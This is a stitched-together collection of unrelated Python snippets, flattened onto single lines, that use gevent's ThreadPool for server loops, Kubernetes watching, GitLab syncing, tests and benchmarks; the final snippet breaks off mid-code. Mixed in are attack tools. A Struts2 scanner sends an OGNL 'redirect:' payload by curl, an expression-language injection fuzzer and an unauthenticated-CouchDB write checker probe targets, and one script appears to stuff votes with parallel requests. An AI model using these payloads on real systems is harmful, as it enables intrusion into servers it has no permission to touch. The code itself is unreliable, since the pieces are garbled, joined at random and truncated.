class Worker(object): def __init__(self, url): self.url = url self.headers = {'content-type': 'application/json'} self.id = 0 self.post = functools.partial(requests.post, self.url, headers=self.headers) self.pool = ThreadPool(100) def _call(self, method, *args): payload = dict(method=method, params=args, jsonrpc="2.0", id=self.id) self.id += 1 response = self.post(json.dumps(payload)).json() return response def _async_call(self, method, *args): payload = dict(method=method, params=args, jsonrpc="2.0", id=self.id) self.id += 1 def _delayed_call(pl): return self.post(json.dumps(pl)).json() return Future(self.pool.spawn(_delayed_call, payload)) def tell(self, method, *args): self._async_call(method, *args) def ask(self, method, *args): return self._async_call(method, *args) def join(self): self.pool.join()
def _run(self): try: args = self.orbname, self.select, self.reject # TODO Review this queue size # TODO Review reasoning behind using OrbreapThr vs. normal ORB API # I think it had something to do with orb.reap() blocking forever # on comms failures; maybe we could create our own orbreapthr # implementation? with OrbreapThr(*args, timeout=1, queuesize=orbreapthr_queuesize) as orbreapthr: log.info("Connected to ORB %s %s %s" % (self.orbname, self.select, self.reject)) threadpool = ThreadPool(maxsize=1) try: while True: try: success, value = threadpool.spawn( wrap_errors, (Exception,), orbreapthr.get, [], {}).get() timestamp = datetime.utcnow() if not success: raise value except (Timeout, NoData), e: log.debug("orbreapthr.get exception %r" % type(e)) pass else: if value is None: raise Exception('Nothing to publish') self._publish(value, timestamp) finally: # This blocks until all threads in the pool return. That's # critical; if the orbreapthr dies before the get thread, # segfaults ensue. threadpool.kill() except Exception, e: log.error("OrbPktSrc terminating due to exception", exc_info=True) raise
def run_proxy_parse(self, url, proxy_type): try: for i in range(3): #这里对url进行重新组装 url = url[0:-1] + str(i+1) resp = requests.get(url, timeout=5) response = etree.HTML(resp.content.decode('utf-8')) #解析代理IP,获取代理ip列表 proxy_ip_list = [] for item in response.xpath('//tr[contains(@style,"font-size")]'): ip = item.xpath('./td[1]/text()')[0].strip() port = item.xpath('./td[2]/text()')[0].strip() proto = item.xpath('./td[4]/text()')[0].strip() if proto.lower() == 'https': continue proxy_ip = proto.lower() + '://' + ip + ':' + port if proxy_ip not in proxy_ip_list: proxy_ip_list.append(proxy_ip) #对每个IP进行测试,留下可用的代理ip pool = ThreadPool(len(proxy_ip_list)) for pip in proxy_ip_list: pool.spawn(self.test_single_proxy, pip, self.test_urls[proxy_type.lower()]) pool.join() except Exception, e: pass
class ThreadPoolExecutor(concurrent.futures.ThreadPoolExecutor): """ A version of :class:`concurrent.futures.ThreadPoolExecutor` that always uses native threads, even when threading is monkey-patched. TODO: Gevent has also implemented [ThreadPoolExecutor](https://github.com/gevent/gevent/blob/master/src/gevent/threadpool.py#L454) to be released in next version 1.2.0. We should move to that implementation when it is released. """ def __init__(self, max_workers): super(ThreadPoolExecutor, self).__init__(max_workers) self._threadpool = ThreadPool(max_workers) def submit(self, fn, *args, **kwargs): future = super(ThreadPoolExecutor, self).submit(fn, *args, **kwargs) with self._shutdown_lock: work_item = self._work_queue.get() assert work_item.fn is fn self._threadpool.spawn(work_item.run) return future def shutdown(self, wait=True): super(ThreadPoolExecutor, self).shutdown(wait) self._threadpool.kill() kill = shutdown # greentest compat def _adjust_thread_count(self): # Does nothing. We don't want to spawn any "threads", # let the threadpool handle that. pass
class ELExpression(): def __init__(self): self.result = [] self.pool = ThreadPool(10) self.q = [] self.payload = '{1000-121}' self.match = '879' def putinqueue(self, info): try: url = info[0] data = info[1] current = data if data else url for k in re.finditer(r'\=(?P<value>.*?)(?:$|&)', current): value = k.group('value') payload = current.replace(value, self.payload) if data: self.q.append((url, payload)) else: self.q.append((payload, data)) except: traceback.print_exc() def Fuzz(self, info): try: url = info[0] data = info[1] if data: try: r = requests.post(url, data=data, timeout=10, verify=False) content = r.content except: content = '' else: try: print "Req ::" + url r = requests.get(url, timeout=10, verify=False) content = r.content except: content = '' if self.match in content: msg = 'find vulnerable url' logging.info(msg) self.result.append(info) except: traceback.print_exc() def Scan(self, info): try: if isinstance(info, tuple): self.putinqueue(info) else: with open(info) as f: ud = json.loads(f.read()) for i in ud: self.putinqueue(i) self.pool.map(self.Fuzz, self.q) except: traceback.print_exc()
def _run(self): """Main loop; reap and process pkts""" try: args = self.orbname, self.select, self.reject print repr(self.orbname) print repr(args) with OrbreapThr(*args, timeout=1, queuesize=8, after=self.tafter) as orbreapthr: log.info("Connected to ORB %s %s %s" % (self.orbname, self.select, self.reject)) self.timeoff = self.timeon = datetime.utcnow() spawn(self._status_printer).link_exception(self._janitor) threadpool = ThreadPool(maxsize=1) try: while True: try: success, value = threadpool.spawn( wrap_errors, (Exception,), orbreapthr.get, [], {}).get() timestamp = datetime.utcnow() if not success: raise value except (Timeout, NoData), e: log.debug("orbreapthr.get exception %r" % type(e)) pass else: if value is None: raise Exception('Nothing to publish') self._process(value, timestamp) finally: # This blocks until all threads in the pool return. That's # critical; if the orbreapthr dies before the get thread, # segfaults ensue. threadpool.kill() except Exception, e: log.error("OrbPktSrc terminating due to exception", exc_info=True) raise
def easy_parallelize_gevent(f, sequence): if not "gevent_pool" in PARALLEL_STRUCTURES: from gevent.threadpool import ThreadPool pool = ThreadPool(30000) PARALLEL_STRUCTURES["gevent_pool"] = pool pool = PARALLEL_STRUCTURES["gevent_pool"] result = pool.map(f, sequence) return result
def targets(self, activity): activities = self.get_contacts_by_activity[activity['id']] contacts = [int(c) for c in activities[TARGETS]] pool = ThreadPool(THREADS) contacts = [pool.spawn(self.get_contact, c) for c in contacts] gevent.wait() contacts = [c.get()['sort_name'] for c in contacts] return ', '.join(contacts)
def spawn_dashboard(self, job, port): print 'Spawning dashboard...' sp_dashboard = create_fetch_dashboard(job) tpool = ThreadPool(2) tpool.spawn(sp_dashboard.serve, use_reloader=False, static_prefix='static', port=port, static_path=dashboard._STATIC_PATH)
def admin_init(self): if self.coll_dir: self.load_coll_dir() if self.inputs: if self.load_cache(): return pool = ThreadPool(maxsize=1) pool.spawn(self.safe_auto_load_warcs)
class TestJoinEmpty(TestCase): switch_expected = False def test(self): self.pool = ThreadPool(1) self.pool.join() def cleanup(self): # needed here because currently Greenlet.kill() switches out even if greenlet not started yet # XXX fix Greenlet.kill pass
def vote(self): self._voted = False if self.sesskey is None or self.choice_id is None: self.get_info() print("[+] Start threadpool") pool = ThreadPool(10) for _ in range(11): pool.spawn(self._vote, _) gevent.wait() if self._voted: self.vote = True print("[+] Vote Success", time.ctime())
def _get_messages(self): # Emulate batch messages by polling rabbitmq server multiple times pool = ThreadPool(settings.POLLER_CONFIG["batchsize"]) for i in range(settings.POLLER_CONFIG["batchsize"]): if settings.QUEUE_TYPE in ["SQS", "sqs"]: pool.spawn(self._get_sqs_messages) elif settings.QUEUE_TYPE in ["RABBITMQ", "rabbitmq"]: pool.spawn(self._get_rabbitmq_messages, i) else: raise ValueError( 'Incorrect value "%s" for QUEUE_TYPE in %s' % (settings.QUEUE_TYPE, settings.SETTINGS_MODULE) )
def fetch_controller(listname): port = find_port() if port: tpool = ThreadPool(2) tpool.spawn(start_fetch, listname, port) ret = {'port': port, 'name': listname, 'url': 'http://localhost:' + str(port), 'status': 'running'} else: ret = {'port': port, 'name': listname, 'url': '', 'status': 'occupied'} return ret
def __init__(self, settings): self.settings = settings self.address = settings.get('services_tcp_address') self.work_address = settings.get('workers_tcp_address') self.pool = Pool(POOL_SIZE) self.tpool = ThreadPool(TPOOL_SIZE) self.dead=False
def my_task(self): min_pool = ThreadPool(2) self.update_state(state='PROGRESS', meta={'current': 0, 'total': 2, 'status': 'PENDING'}) # spawn all the threads greenlets = [min_pool.spawn(_consumer, i) for i in xrange(100)] # wait till the finish min_pool.join() # get the result response = [greenlet.get() for greenlet in greenlets] return {'current': 100, 'total': 100, 'status': 'Task completed!', 'result': len(response)}
def __init__(self): self.pool = ThreadPool(10) self.result = [] self.port = "5984" self.q = [] self.randomstrs = ['a', 'k', 'b', 'v', 'd', 'f', 'e', 'g'] self.path = '_utils/index.html'
def test_unordered(self): self.pool = ThreadPool(3) def unordered(): return list(self.pool.imap_unordered(lambda x: None, error_iter())) self.assertRaises(greentest.ExpectedException, unordered) gevent.sleep(0.001)
def __init__(self, server): self._server = server self._pool = ThreadPool(CPUS * 4) self._listen_sock = None self._wsgi_server = None BaseEngine.__init__(self, server) Signaler.__init__(self)
class Engine(BaseEngine, Signaler): # # 引擎本身只需实现 BaseEngine 接口,信号处理属于额外增强功能。 # 子进程创建、退出都属于系统信号范畴,统一由 Singaler 处理。 # def __init__(self, server): self._server = server self._pool = ThreadPool(CPUS * 4) self._listen_sock = None self._wsgi_server = None BaseEngine.__init__(self, server) Signaler.__init__(self) def run(self): from engine.config import HOST, PORT self._listen_sock = socket(family=AF_INET) self._listen_sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self._listen_sock.bind((HOST, PORT)) self._listen_sock.listen(2048) self._listen_sock.setblocking(0) self.fork_workers(WORKERS or CPUS + 1) self.parent_execute() def fork_workers(self, num): for i in range(num): if fork() == 0: self.worker_execute() exit(0) def worker_execute(self): Signaler.worker_execute(self) # 启动服务器。 kwargs = HTTPS and \ {k: app_path("ssl/" + v) for k, v in (("keyfile", HTTPS_KEY), ("certfile", HTTPS_CERT))} or \ {} self._wsgi_server = WSGIServer(self._listen_sock, self._server.execute, log=None, **kwargs) self._wsgi_server.serve_forever() # 等待所有处理结束,超时 10 秒。 hasattr(self._wsgi_server, "__graceful__") and gwait(timeout=10) def worker_stop(self, graceful): stop = lambda *args: self._wsgi_server and self._wsgi_server.stop() graceful and (setattr(self._wsgi_server, "__graceful__", True), stop()) or stop() def async_execute(self, func, *args, **kwargs): e = Event() g = self._pool.apply_async(func, args, kwargs, callback=lambda ret: e.set()) e.wait() return g.get()
class PortDao(object): def __init__(self, config_file): self.conf_file = STRING(config_file) self._threadpool = ThreadPool(1) self._cached_port_conf_list = [] self._load_conf() def _load_conf(self): if os.path.isfile(self.conf_file): config = self._threadpool.apply( Config.from_file, (self.conf_file, conf_file_schema)) self._cached_port_conf_list = config.conf def get_port_conf_list(self): return copy.deepcopy(self._cached_port_conf_list) def get_port_conf(self, port_name): for port_config in self._cached_port_conf_list: if port_config.get("port_name") == port_name: break else: raise StreamSwitchError("Port (%s) Not Exist in config file(%)" % (port_name, self.self_conf_file), 404) return copy.deepcopy(port_config) def update_port_conf(self, port_name, new_port_config): new_port_config = new_port_config_schema.validate(new_port_config) for port_config in self._cached_port_conf_list: if port_config.get("port_name") == port_name: break else: raise StreamSwitchError("Port (%s) Not Exist in config file(%)" % (port_name, self.self_conf_file), 404) port_config.update(new_port_config) save_port_conf_list = copy.deepcopy(self._cached_port_conf_list) self._threadpool.apply(Config.to_file, (self.conf_file, save_port_conf_list))
def run(self, **kwargs): if self.tpool is None: self.tpool = ThreadPool(2) kwargs["host"] = kwargs.get("host", DEFAULT_HOST) pref_port = kwargs.get("port", DEFAULT_PORT) port = find_port(kwargs["host"], pref_port) if port is None: raise Exception("Could not find suitable port to run LoupeDashboard server.") else: kwargs["port"] = port kwargs["server"] = kwargs.get("server", DEFAULT_SERVER) self.tpool.spawn(run, self, **kwargs)
def main(): #创建线程池 pool = ThreadPool(30) result = [] #一个参数则用command if len(sys.argv) == 2: func = 'command' #两个参数则用sync if len(sys.argv) == 3: #判断本地文件 if not os.path.isfile(sys.argv[1]): sys.stdout.write("This file is not in zhe system: %s"%sys.argv[1]) sys.exit(1) func = 'sync' for i in open('iplist.txt'): s = SSHClient(*i.strip().split(",")) #工厂模式处理 result.append(pool.spawn(getattr(s,func),*sys.argv[1:])) #等待结束 gevent.wait() for i in result: logging.info(i.get())
def bench_apply(loops): pool = ThreadPool(1) t0 = perf.perf_counter() for _ in xrange(loops): for _ in xrange(N): pool.apply(noop) pool.join() pool.kill() return perf.perf_counter() - t0
class CouchDb(): def __init__(self): self.pool = ThreadPool(10) self.result = [] self.port = "5984" self.q = [] self.randomstrs = ['a', 'k', 'b', 'v', 'd', 'f', 'e', 'g'] self.path = '_utils/index.html' def Fuzz(self, info): try: url = info[0] port = info[1] host = urlparse.urlparse(url).netloc url = r'http://' + host + ":" + port rstr = "".join(random.sample(self.randomstrs, 5)) url = url + r'/' + rstr try: print "Req::" + url r = requests.put(url, timeout=10) if 'ok' and 'true' in r.content: self.result.append(info) except: pass except: pass def Scan(self, info): try: if isinstance(info, tuple): self.q.append(info) else: with open(file) as f: content = json.loads(f.read()) for i in content: self.q.append((i['url'], self.port)) self.pool.map(self.Fuzz, self.q) except: traceback.print_exc()
def _get_related_contacts(self, relationships): """Return a list of related contacts from a CiviCRM server. Run the API calls concurrently to speed up the process. :param relationships: [required] relationship information of the selected contact :type relationships: list of dictionaries with relationship information :returns: dictionary with contact information dictionaries """ contacts = [] for r in relationships: if int(r["contact_id_a"]) == self.contact_id: contacts.append(r["contact_id_b"]) elif int(r["contact_id_b"]) == self.contact_id: contacts.append(r["contact_id_a"]) pool = ThreadPool(THREADS) contacts = [pool.spawn(self.get_contact, c) for c in contacts] gevent.wait() contacts = [c.get() for c in contacts] # make mapping easier by returning contact_id as dictionary key return dict([(c["contact_id"], c) for c in contacts])
class TestErrorInIterator(TestCase): error_fatal = False def test(self): self.pool = ThreadPool(3) self.assertRaises(greentest.ExpectedException, self.pool.map, lambda x: None, error_iter()) gevent.sleep(0.001) def test_unordered(self): self.pool = ThreadPool(3) def unordered(): return list(self.pool.imap_unordered(lambda x: None, error_iter())) self.assertRaises(greentest.ExpectedException, unordered) gevent.sleep(0.001)
class st2bypass(): def __init__(self): self.result = [] self.pool = ThreadPool(10) self.q = [] def action(self, info): try: if '.do' or '.action' in info: url = info.split('?')[0] self.q.append(url) except: traceback.print_exc() def Fuzz(self, url): try: cmd = '''curl -i "%s" -F 'redirect:/${#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest").getRealPath("/")}=-1' ''' % url print cmd output = os.popen(cmd).read() for i in re.finditer(r'\:\/\/.*\/\/(?P<path>' r'.*?)/;', output): path = i.group('path') if path: self.result.append(path) except: traceback.print_exc() def Scan(self, info): try: if isinstance(info, str): self.action(info) else: for i in info: self.action(i['url']) self.pool.map(self.Fuzz, self.q) except: traceback.print_exc()
def bench_spawn_wait(loops): pool = ThreadPool(1) t0 = perf.perf_counter() for _ in xrange(loops): for _ in xrange(N): r = pool.spawn(noop) r.get() pool.join() pool.kill() return perf.perf_counter() - t0
def __init__(self,path = None,baud = None,parity = None,impl = None, explicit_error = False): ''' Reader object can be created even if required port cannot be opened. It will try to fix itself afterwards. To check current Reader status use 'is_open' method. ''' self.pool = ThreadPool(1) self._is_open = False if not path: kw = config.reader_path[0] path,baud,parity,impl = (kw['path'],kw.get('baud',DEFAULT_BAUD), kw.get('parity',DEFAULT_PARITY), kw.get('impl',config.default_impl)) self.path = path self.baud = baud if baud != None else DEFAULT_BAUD self.parity = parity if parity != None else DEFAULT_PARITY self.impl = impl if impl != None else config.default_impl try: self.open() except ReaderError: if explicit_error: raise print 'Cannot open Reader on {0}. Will try to fix afterwards...'.format(self.path)
import time import gevent from gevent.threadpool import ThreadPool pool = ThreadPool(3) for _ in range(4): pool.spawn(time.sleep, 1) gevent.wait()
class K8SPodsIPWatcher(object): """ Pods watcher class, compatible with SchedulerDiscoverer """ dynamic = True def __init__(self, k8s_config=None, k8s_namespace=None, label_selector=None): from kubernetes import config, client from gevent.threadpool import ThreadPool if k8s_config is not None: self._k8s_config = k8s_config elif os.environ.get('KUBE_API_ADDRESS'): self._k8s_config = client.Configuration() self._k8s_config.host = os.environ['KUBE_API_ADDRESS'] else: self._k8s_config = config.load_incluster_config() self._k8s_namespace = k8s_namespace or os.environ.get( 'MARS_K8S_POD_NAMESPACE') or 'default' self._label_selector = label_selector self._full_label_selector = None self._client = client.CoreV1Api(client.ApiClient(self._k8s_config)) self._pool = ThreadPool(1) self._pod_to_ep = None def __reduce__(self): return type(self), (self._k8s_config, self._k8s_namespace, self._label_selector) def _get_label_selector(self): if self._full_label_selector is not None: return self._full_label_selector selectors = [self._label_selector] if 'MARS_K8S_GROUP_LABELS' in os.environ: group_labels = os.environ['MARS_K8S_GROUP_LABELS'].split(',') cur_pod_info = self._pool.spawn( self._client.read_namespaced_pod, os.environ['MARS_K8S_POD_NAME'], namespace=self._k8s_namespace).result().to_dict() for label in group_labels: label_val = cur_pod_info['metadata']['labels'][label] selectors.append(f'{label}={label_val}') self._full_label_selector = ','.join(selectors) logger.debug('Using pod selector %s', self._full_label_selector) return self._full_label_selector def _extract_pod_name_ep(self, pod_data): pod_ip = pod_data["status"]["pod_ip"] svc_port = pod_data['spec']['containers'][0]['ports'][0][ 'container_port'] return pod_data['metadata']['name'], f'{pod_ip}:{svc_port}' @staticmethod def _extract_pod_ready(obj_data): if obj_data['status']['phase'] != 'Running': return False # if conditions not supported, always return True if 'status' not in obj_data or 'conditions' not in obj_data['status']: return True return any(cond['type'] == 'Ready' and cond['status'] == 'True' for cond in obj_data['status']['conditions']) def _get_pod_to_ep(self): query = self._pool.spawn( self._client.list_namespaced_pod, namespace=self._k8s_namespace, label_selector=self._get_label_selector()).result().to_dict() result = dict() for el in query['items']: name, pod_ep = self._extract_pod_name_ep(el) if pod_ep is not None and not self._extract_pod_ready(el): pod_ep = None result[name] = pod_ep return result def get(self, update=False): if self._pod_to_ep is None or update: self._pod_to_ep = self._get_pod_to_ep() return sorted(a for a in self._pod_to_ep.values() if a is not None) def is_all_ready(self): self.get(True) if not self._pod_to_ep: return False return all(a is not None for a in self._pod_to_ep.values()) def watch(self): from urllib3.exceptions import ReadTimeoutError from kubernetes import watch cur_pods = set(self.get(True)) w = watch.Watch() while True: # when some schedulers are not ready, we refresh faster linger = 10 if self.is_all_ready() else 1 streamer = w.stream(self._client.list_namespaced_pod, namespace=self._k8s_namespace, label_selector=self._get_label_selector(), timeout_seconds=linger) while True: try: event = self._pool.spawn(next, streamer, StopIteration).result() if event is StopIteration: raise StopIteration except (ReadTimeoutError, StopIteration): new_pods = set(self.get(True)) if new_pods != cur_pods: cur_pods = new_pods yield self.get(False) break except: # noqa: E722 logger.exception( 'Unexpected error when watching on kubernetes') break obj_dict = event['object'].to_dict() pod_name, endpoint = self._extract_pod_name_ep(obj_dict) self._pod_to_ep[pod_name] = endpoint \ if endpoint and self._extract_pod_ready(obj_dict) else None yield self.get(False)
from lib.wsgi import WebSocketWSGI from gevent.lock import Semaphore from gevent.threadpool import ThreadPool as ThreadPool from datetime import datetime from random import randint import time import logging logger = logging.getLogger(__name__) logging.basicConfig( level=logging.INFO, format= '[%(asctime)s] [%(levelname)-7s] -%(process)d:%(threadName)s:%(name)s:%(funcName)s - %(message)s' ) pool = ThreadPool(1) # demo app import os import random def handle(ws): """ This is the websocket handler function. Note that we can dispatch based on path in here, too.""" if ws.path == '/echo': sem = Semaphore() while True: logger.debug("loop") data = ws.wait() logger.info("data {}".format(data)) pool.apply_async(process,
def xapiand_run(data=None, logfile=None, pidfile=None, uid=None, gid=None, umask=0, working_directory=None, verbosity=1, commit_slots=None, commit_timeout=None, listener=None, queue_type=None, **options): global STOPPED current_thread = threading.current_thread() tid = current_thread.name.rsplit('-', 1)[-1] current_thread.name = 'Server-%s' % tid if pidfile: create_pidlock(pidfile) address, _, port = listener.partition(':') if not port: port, address = address, '' port = int(port) loglevel = ['ERROR', 'WARNING', 'INFO', 'DEBUG'][3 if verbosity == 'v' else int(verbosity)] log = logging.getLogger() log.setLevel(loglevel) if len(log.handlers) < 1: formatter = logging.Formatter(LOG_FORMAT) if logfile: outfile = logging.FileHandler(logfile) outfile.setFormatter(formatter) log.addHandler(outfile) if not pidfile: console = ColoredStreamHandler(sys.stderr) console.setFormatter(formatter) log.addHandler(console) if not commit_slots: commit_slots = COMMIT_SLOTS if commit_timeout is None: commit_timeout = COMMIT_TIMEOUT timeout = min(max(int(round(commit_timeout * 0.3)), 1), 3) queue_class = AVAILABLE_QUEUES.get(queue_type) or AVAILABLE_QUEUES['default'] mode = "with multiple threads and %s commit slots using %s" % (commit_slots, queue_class.__name__) log.warning("Starting Xapiand Server v%s (xapian v%s) %s [%s] (pid:%s)", version, xapian.version_string(), mode, loglevel, os.getpid()) commit_lock = Semaphore(commit_slots) timeouts = Obj( timeout=timeout, commit=commit_timeout * 1.0, delayed=commit_timeout * 3.0, maximum=commit_timeout * 9.0, ) main_queue = queue.Queue() databases_pool = DatabasesPool(data=data, log=log) databases = {} xapian_server = XapiandServer( (address, port), databases_pool=databases_pool, pool_size=COMMANDS_POOL_SIZE, main_queue=main_queue, queue_class=queue_class, data=data, log=log ) gevent.signal(signal.SIGTERM, xapian_server.close) gevent.signal(signal.SIGINT, xapian_server.close) log.debug("Starting server...") try: xapian_server.start() except Exception as exc: log.error("Cannot start server: %s", exc) sys.exit(-1) pool_size = WRITERS_POOL_SIZE pool_size_warning = int(pool_size / 3.0 * 2.0) writers_pool = ThreadPool(pool_size) def start_writer(db): db = build_url(*parse_url(db.strip())) name = database_name(db) try: tq = None t, tq = databases[db] if t.ready(): raise KeyError except KeyError: queue_name = os.path.join(data, name) tq = tq or xapian_server.get_queue(queue_name) pool_used = len(writers_pool) if not (pool_size_warning - pool_used) % 10: log.warning("Writers pool is close to be full (%s/%s)", pool_used, pool_size) elif pool_used == pool_size: log.error("Writers poll is full! (%s/%s)", pool_used, pool_size) t = writers_pool.spawn(_writer_loop, databases, databases_pool, db, tq, commit_lock, timeouts, data, log) databases[db] = (t, tq) return db, name, t, tq if queue_class.persistent: # Initialize seen writers: writers_file = os.path.join(data, WRITERS_FILE) with open(writers_file, 'rt') as epfile: for i, db in enumerate(epfile): if i == 0: log.debug("Initializing writers...") start_writer(db) log.info("Waiting for commands...") msg = None timeout = timeouts.timeout while not xapian_server.closed: xapian_cleanup(databases_pool, DATABASE_MAX_LIFE, data=data, log=log) try: msg = main_queue.get(True, timeout) except Queue.Empty: continue if not msg: continue try: cmd, endpoints, args = msg except ValueError: log.error("Wrong command received!") continue for db in endpoints: db, name, t, tq = start_writer(db) if cmd != 'INIT': try: tq.put((cmd, db, args)) log.debug("Command '%s' forwarded to %s", cmd, name) except Queue.Full: log.error("Cannot send command to queue! (2)") log.debug("Waiting for connected clients to disconnect...") while True: if xapian_server.close(max_age=10): break if gevent.wait(timeout=3): break # Stop queues: queue_class.STOPPED = STOPPED = time.time() if queue_class.persistent: with open(writers_file, 'wt') as epfile: for db, (t, tq) in databases.items(): if not t.ready(): epfile.write("%s\n" % db) # Wake up writers: for t, tq in databases.values(): try: tq.put(None) # wake up! except Queue.Full: log.error("Cannot send command to queue! (1)") log.debug("Waiting for %s writers...", len(databases)) for t, tq in databases.values(): t.wait() xapian_cleanup(databases_pool, 0, data=data, log=log) log.warning("Xapiand Server ended! (pid:%s)", os.getpid()) gevent.wait()
def test_init_valueerror(self): self.switch_expected = False with self.assertRaises(ValueError): ThreadPool(-1) self.pool = None
class GitLabOperator(object): def __init__(self): """ """ conf = get_config() if not conf: raise Exception(u'配置文件读取失败!') self.api = GitlabAPIHandler(api_url=conf['gitlab']['api_url'], token=conf['gitlab']['token']) self.activity_limit_month = conf['gitlab']['activity_month'] or 12 self.tz = timezone('Asia/Shanghai') self.pool = ThreadPool(20) def add_groups(self): """ 添加项目分组 :return: """ logger.info('Start syncing project group information...') groups = self.api.get_groups() for group in groups: group_obj = group_create_or_update( git_id=group['id'], name=group['name'], path=group['path'], description=group['description'], web_url=group['web_url'], full_name=group['full_name'], full_path=group['full_path'], visibility_level=group['visibility_level'], ) if group_obj: logger.debug('group name:{0}, group path:{1}'.format(group['name'], group['path'])) yield group_obj def _add_groups_members(self, group_obj): """ :param group_obj: :return: """ members = self.api.get_members_by_group(group_id=group_obj.git_id) for member in members: if 'email' in member: email = member['email'] else: email = None m = get_member_by_gitid(member['id']) if not m or m.state != 'active': member_obj = create_or_update( git_id=member['id'], name=member['name'], username=member['username'], state=member['state'], web_url=member['web_url'], email=email, ) if member_obj: logger.info('[FOUND] username: {0}, git id:{1}'.format(member['username'], member['id'])) if not group_obj.members.filter(git_id=member['id']).exists(): group_obj.members.add(member_obj) perm = get_group_member_perm(member_id=member_obj.id, group_id=group_obj.id) if not perm: create_group_member_perm_obj( group_obj=group_obj, member_obj=member_obj, access_level=member['access_level'], expires_at=member['expires_at'] ) def add_groups_and_members(self): """ FBI WARNING!!! Do not use, Do not use, Do not use. :return: """ for group_obj in self.add_groups(): self.pool.spawn(self._add_groups_members, group_obj) gevent.wait() def add_projects(self, enable_sync_branch=True): """ 添加项目 :return: """ logger.info('Start syncing project information...') today = datetime.datetime.now() for project in self.api.get_projects(): last_activity_at = utc2local(project['last_activity_at']) + datetime.timedelta( days=self.activity_limit_month * 30) if last_activity_at < today: logger.warn('[SKIP] “{0}” 项目已超过 {1} 个月未活动, 跳过当前项目的信息同步, 最后活动时间: {2}。' ''.format(project['name'], self.activity_limit_month, project['last_activity_at'])) continue logger.info('Start syncing "{0}" project member information ...'.format(project['name'])) try: # member members = self._add_members_by_project(project['id'], project['name']) # group group_obj = get_group_by_gitid(git_id=project['namespace']['id']) if not group_obj: logger.debug('"{0}" group not found.'.format(project['namespace'])) group_obj = create_group_obj( git_id=project['namespace']['id'], name=project['namespace']['name'], parent_id=project['namespace']['parent_id'], path=project['namespace']['path'], full_path=project['namespace']['full_path'], ) group_json = self.api.get_group_info(group_id=project['namespace']['id']) if group_json: group_obj = update_group_obj( git_id=group_json['id'], name=group_json['name'], path=group_json['path'], description=group_json['description'], web_url=group_json['web_url'], full_name=group_json['full_name'], full_path=group_json['full_path'], visibility_level=group_json['visibility_level'], ) self._add_groups_members(group_obj) # project pro = get_project_by_gitid(project['id']) i_ok = False if pro: last_activity_at = utc2local(project['last_activity_at']).strftime("%Y%m%d%H%M%S") pro_last_activity_at = utc2local(pro.git_last_activity_at.astimezone(self.tz).strftime("%Y-%m-%d %H:%M:%S")).strftime("%Y%m%d%H%M%S") # assert last_activity_at == pro_last_activity_at # assert project['name'].lower() == pro.name.lower() # assert project['ssh_url_to_repo'].lower() == pro.ssh_url_to_repo.lower() if last_activity_at != pro_last_activity_at or \ project['name'].lower() != pro.name.lower() or \ project['ssh_url_to_repo'].lower() != pro.ssh_url_to_repo.lower(): i_ok = True else: i_ok = True if not project['default_branch'] and pro: i_ok = False logger.warning('"{0}" is an empty project.'.format(project['web_url'])) if not i_ok: logger.warning('[SKIP] [*] The project has not been changed, skip the update.') continue _name, _username, department = 'id: {0}'.format(project['creator_id']), '', None project_obj = project_create_or_update( group_obj=group_obj, git_id=project['id'], git_created_at=project['created_at'], git_last_activity_at=project['last_activity_at'], issues_enabled=project['issues_enabled'], ssh_url_to_repo=project['ssh_url_to_repo'], http_url_to_repo=project['http_url_to_repo'], web_url=project['web_url'], default_branch=project['default_branch'], name=project['name'], path=project['path'], path_with_namespace=project['path_with_namespace'], creator_id=project['creator_id'], description=project['description'], star_count=project['star_count'], forks_count=project['forks_count'], open_issues_count=0, visibility_level=project['visibility_level'], ) if pro: title = '更新『{0}』项目'.format(project['name']) description = '更新『{0}』项目成功,默认分支:{1}'.format( project['name'], project['default_branch'] or '-' ) create_pro_history_obj( project_obj=pro, title=title, description=description, type=icon_type.INFO ) else: title = '创建 『{0}』项目'.format(project['name']) description = '创建『{0}』项目成功\n所属分组: {1}\n创建者:{2}({3})\n默认分支:{4}'.format( project['name'], project['namespace']['name'], _name, _username, project['default_branch'] or '-' ) create_pro_history_obj( project_obj=project_obj, title=title, description=description, is_first=True, type=icon_type.DATABASE ) logger.debug('[PROJECT] project name:"{0}", git id: {1}, group name:"{2}".'.format( project['name'], project['id'], group_obj.name)) # members new_list = [] r_list = [] if not project_obj: project_obj = pro for username, item in members.items(): if item['obj'].state == 'active': # 有效账户 perm = get_pro_member_perm(member_id=item['obj'].id, project_id=project_obj.id) if not perm: create_pro_member_perm_obj( project_obj=project_obj, member_obj=item['obj'], access_level=item['json']['access_level'], expires_at=item['json']['expires_at'] ) if not project_obj.members.filter(id=item['obj'].id).exists(): new_list.append(username) r_list.append(item['obj']) if r_list: if project_obj: project_obj.members.add(*r_list) if new_list: create_pro_history_obj( project_obj=project_obj, title='发现新授权员工 {0} 个'.format(len(new_list)), description='发现新增:{0} 等账号'.format('、'.join([_ for _ in new_list])), type=icon_type.USER ) # branch if enable_sync_branch: self.sync_project_branch(project_id=project['id']) except Exception as ex: import traceback traceback.print_exc() logger.error(ex) create_syslog_obj( title='同步 {0} 项目信息失败'.format(project['name']), description=str(ex), stack_trace=traceback.format_exc(), level=LOG_LEVEL.CRITICAL, is_read=False, ) def _add_members_by_project(self, project_git_id, project_name): """ 更新会员信息 :param project_git_id: :param project_name: :return: """ members = {} for member in self.api.get_members_by_project(project_id=project_git_id): if not member: continue logger.info('[MEMBER] username: {0}, git id:{1}'.format(member['username'], member['id'])) try: email = None if 'email' in member: email = member['email'] m = get_member_by_gitid(member['id']) if not m or m.state != 'active': member_obj = create_or_update( git_id=member['id'], name=member['name'], username=member['username'], state=member['state'], web_url=member['web_url'], email=email, ) members[member['username']] = { 'json': member, 'obj': member_obj, } except Exception as ex: import traceback logger.error(ex) create_syslog_obj( title='同步 {0} 项目成员失败'.format(project_name), description=str(ex), stack_trace=traceback.format_exc(), level=LOG_LEVEL.CRITICAL, is_read=False, ) return members def sync_project_branch(self, project_id): """ 更新项目的分支与tag :return: """ project_obj = get_project_by_gitid(git_id=project_id) try: new_result = [] update_result = [] for branch in self.api.get_branches(project_id=project_id): if not branch: continue try: bran = get_repository_by_name(name=branch['name'], project_id=project_obj.id) if 'commit' in branch: last_commit_id = branch['commit']['id'] last_short_id = branch['commit']['short_id'] last_author_email = branch['commit']['author_email'] last_author_name = branch['commit']['author_name'] last_title = branch['commit']['title'], else: last_commit_id = None last_short_id = None last_author_email = None last_author_name = None last_title = None if bran: if bran.last_commit_id != branch['commit']['id']: update_repository_obj( 